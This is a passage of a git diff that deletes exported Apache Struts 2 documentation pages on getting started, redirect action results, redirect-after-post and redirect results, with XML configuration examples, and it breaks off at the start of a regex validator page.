-<h2 id="Ready,Set,Go!-OurFirstApplication">Our First Application</h2>
-
-<p>To get started with a new application, we can use the blank template, run the Maven archetype, or set up a web infrastructure from scratch.</p>
-
-<h3 id="Ready,Set,Go!-UsingtheBlankApplication">Using the Blank Application</h3>
-
-<p>The blank web application in the distribution's <code>apps</code> directory is meant as a template. We can make a copy of the "blank.war", deploy it to our container, and use the exploded copy as the basis for our application. There is even a simple batch file in the source code directory that we can use to recompile the application in place. </p>
-
-<h3 id="Ready,Set,Go!-RuntheMavenArchetype">Run the Maven Archetype</h3>
-
-<p>For those of us using Maven as a build system, we can use the Maven Archetype to create a new application.</p>
-
-<p>For directions on using the Struts 2 archetypes see the <a shape="rect" href="struts-2-maven-archetypes.html">Struts 2 Maven Archetypes</a> page.</p>
-
-<h3 id="Ready,Set,Go!-Settingupfromscratch">Setting up from scratch</h3>
-
-<p>If for some reason the blank template or archetype doesn't work out, it's not so hard to setup a Struts 2 application from scratch. For details, see <a shape="rect" href="simple-setup.html">Simple Setup</a>.  </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Onward to <a shape="rect" href="hello-world.html">Hello World</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Return to <a shape="rect" href="bootstrap.html">Bootstrap</a> </p></td></tr></tbody></table></div></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/redirect-action-result.html b/content/docs/redirect-action-result.html
deleted file mode 100644
index e0bb655..0000000
--- a/content/docs/redirect-action-result.html
+++ /dev/null
@@ -1,242 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Redirect Action Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="redirect-action-result.html">Redirect Action Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Redirect Action Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14234">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14234">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14234">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14234">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14234">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14234">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p></p><p>
-This result uses the ActionMapper provided by the
-ActionMapperFactory to redirect the browser to a URL that invokes the
-specified action and (optional) namespace. This is better than the
-ServletRedirectResult because it does not require you to encode the
-URL patterns processed by the ActionMapper in to your struts.xml
-configuration files. This means you can change your URL patterns at any point
-and your application will still work. It is strongly recommended that if you
-are redirecting to another action, you use this result rather than the
-standard redirect result.
-</p>
-
-<p></p><p>
-See examples below for an example of how request parameters could be passed
-in.
-</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>See <a shape="rect" href="actionmapper.html">ActionMapper</a> for more details</p></div></div><h1 id="RedirectActionResult-Parameters">Parameters</h1><p>
-</p><p></p><ul><li><b>actionName (default)</b> - The name of the action that will be
-redirected to.</li><li><b>namespace</b> - Used to determine which namespace the action is in
-that we're redirecting to.  If namespace is null, the default will be the
-current namespace.</li><li><b>suppressEmptyParameters</b> - Optional boolean (defaults to false) that
-can prevent parameters with no values from being included in the redirect
-URL.</li><li><b>parse</b> - Boolean, true by default.  If set to false, the actionName
-param will not be parsed for Ognl expressions.</li><li><b>anchor</b> - Optional.  Also known as "fragment" or colloquially as
-"hash".  You can specify an anchor for a result.</li></ul>
-<h1 id="RedirectActionResult-Examples">Examples</h1><p></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;package name=&quot;public&quot; extends=&quot;struts-default&quot;&gt;
-    &lt;action name=&quot;login&quot; class=&quot;...&quot;&gt;
-        &lt;!-- Redirect to another namespace --&gt;
-        &lt;result type=&quot;redirectAction&quot;&gt;
-            &lt;param name=&quot;actionName&quot;&gt;dashboard&lt;/param&gt;
-            &lt;param name=&quot;namespace&quot;&gt;/secure&lt;/param&gt;
-        &lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-
-&lt;package name=&quot;secure&quot; extends=&quot;struts-default&quot; namespace=&quot;/secure&quot;&gt;
-    &lt;-- Redirect to an action in the same namespace --&gt;
-    &lt;action name=&quot;dashboard&quot; class=&quot;...&quot;&gt;
-        &lt;result&gt;dashboard.jsp&lt;/result&gt;
-        &lt;result name=&quot;error&quot; type=&quot;redirectAction&quot;&gt;error&lt;/result&gt;
-    &lt;/action&gt;
-
-    &lt;action name=&quot;error&quot; class=&quot;...&quot;&gt;
-        &lt;result&gt;error.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-
-&lt;package name=&quot;passingRequestParameters&quot; extends=&quot;struts-default&quot; namespace=&quot;/passingRequestParameters&quot;&gt;
-   &lt;!-- Pass parameters (reportType, width and height) --&gt;
-   &lt;!--
-   The redirectAction url generated will be :
-   /genReport/generateReport.action?reportType=pie&amp;amp;width=100&amp;amp;height=100#summary
-   --&gt;
-   &lt;action name=&quot;gatherReportInfo&quot; class=&quot;...&quot;&gt;
-      &lt;result name=&quot;showReportResult&quot; type=&quot;redirectAction&quot;&gt;
-         &lt;param name=&quot;actionName&quot;&gt;generateReport&lt;/param&gt;
-         &lt;param name=&quot;namespace&quot;&gt;/genReport&lt;/param&gt;
-         &lt;param name=&quot;reportType&quot;&gt;pie&lt;/param&gt;
-         &lt;param name=&quot;width&quot;&gt;100&lt;/param&gt;
-         &lt;param name=&quot;height&quot;&gt;100&lt;/param&gt;
-         &lt;param name=&quot;empty&quot;&gt;&lt;/param&gt;
-         &lt;param name=&quot;suppressEmptyParameters&quot;&gt;true&lt;/param&gt;
-         &lt;param name=&quot;anchor&quot;&gt;summary&lt;/param&gt;
-      &lt;/result&gt;
-   &lt;/action&gt;
-&lt;/package&gt;
-
-
-]]></script>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;!--
-	Example of "anchor" param usage in conjunction with "redirectAction" result-type.
-
-	Generated URL: /displayReport.action#SUMMARY
---&gt;
-
-&lt;action name="displayReport"&gt;
-	&lt;result&gt;/jsp/displayReport.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;action name="financeReport" class="com.mycompany.reports.FinanceReportAction"&gt; 
-	&lt;result name="input"&gt;/jsp/index.jsp&lt;/result&gt;            
-	&lt;result name="success" type="redirectAction"&gt;
-		&lt;param name="actionName"&gt;displayReport&lt;/param&gt;
-		&lt;param name="parse"&gt;false&lt;/param&gt;
-		&lt;param name="anchor"&gt;SUMMARY&lt;/param&gt;
-	&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/redirect-after-post.html b/content/docs/redirect-after-post.html
deleted file mode 100644
index 6f457f9..0000000
--- a/content/docs/redirect-after-post.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Redirect After Post</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="redirect-after-post.html">Redirect After Post</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Redirect After Post</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14322">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14322">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14322">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14322">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14322">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14322">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>The redirect-after-post technique is a common pattern in web application development. It simply means making your Action, after it has successfully executed, result in a redirect. You can do this by using the <a shape="rect" href="redirect-result.html">Redirect Result</a> or the <a shape="rect" href="redirect-action-result.html">Redirect Action Result</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/redirect-result.html b/content/docs/redirect-result.html
deleted file mode 100644
index 5fe20ec..0000000
--- a/content/docs/redirect-result.html
+++ /dev/null
@@ -1,200 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Redirect Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="redirect-result.html">Redirect Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Redirect Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14191">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14191">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14191">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14191">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14191">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14191">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p></p><p>
-Calls the {@link HttpServletResponse#sendRedirect(String) sendRedirect}
-method to the location specified. The response is told to redirect the
-browser to the specified location (a new request from the client). The
-consequence of doing this means that the action (action instance, action
-errors, field errors, etc) that was just executed is lost and no longer
-available. This is because actions are built on a single-thread model. The
-only way to pass data is through the session or with web parameters
-(url?name=value) which can be OGNL expressions.
-</p><h1 id="RedirectResult-Parameters">Parameters</h1><p>
-</p><p></p><ul></ul><p></p><ul><li><b>location (default)</b> - the location to go to after execution.</li></ul><p></p><ul><li><b>parse</b> - true by default. If set to false, the location param will
-not be parsed for Ognl expressions.</li></ul><p></p><ul><li><b>anchor</b> - Optional.  Also known as "fragment" or colloquially as 
-"hash".  You can specify an anchor for a result.</li></ul>
-
-<p></p><p>
-This result follows the same rules from StrutsResultSupport.
-</p>
-<h1 id="RedirectResult-Examples">Examples</h1><p></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!--
-  The redirect URL generated will be:
-  /foo.jsp#FRAGMENT
---&gt;
-&lt;result name=&quot;success&quot; type=&quot;redirect&quot;&gt;
-  &lt;param name=&quot;location&quot;&gt;foo.jsp&lt;/param&gt;
-  &lt;param name=&quot;parse&quot;&gt;false&lt;/param&gt;
-  &lt;param name=&quot;anchor&quot;&gt;FRAGMENT&lt;/param&gt;
-&lt;/result&gt;
-]]></script>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Confluence" style="font-size:12px;">&lt;package name="passingRequestParameters" extends="struts-default" namespace="/passingRequestParameters"&gt;
-   &lt;-- Pass parameters (reportType, width and height) --&gt;
-   &lt;!--
-   The redirect url generated will be - the namespace of current acction will be appended as location doesn't start with "/":
-   /passingRequestParameters/generateReport.jsp?reportType=pie&amp;width=100&amp;height=100#summary
-   --&gt;
-   &lt;action name="gatherReportInfo" class="..."&gt;
-      &lt;result name="showReportResult" type="redirect"&gt;
-         &lt;param name="location"&gt;generateReport.jsp&lt;/param&gt;
-         &lt;param name="reportType"&gt;pie&lt;/param&gt;
-         &lt;param name="width"&gt;100&lt;/param&gt;
-         &lt;param name="height"&gt;100&lt;/param&gt;
-         &lt;param name="parse"&gt;false&lt;/param&gt;
-         &lt;param name="anchor"&gt;summary&lt;/param&gt;
-      &lt;/result&gt;
-   &lt;/action&gt;
-&lt;/package&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/regex-validator.html b/content/docs/regex-validator.html
deleted file mode 100644
index e93b780..0000000
--- a/content/docs/regex-validator.html
+++ /dev/null
@@ -1,194 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
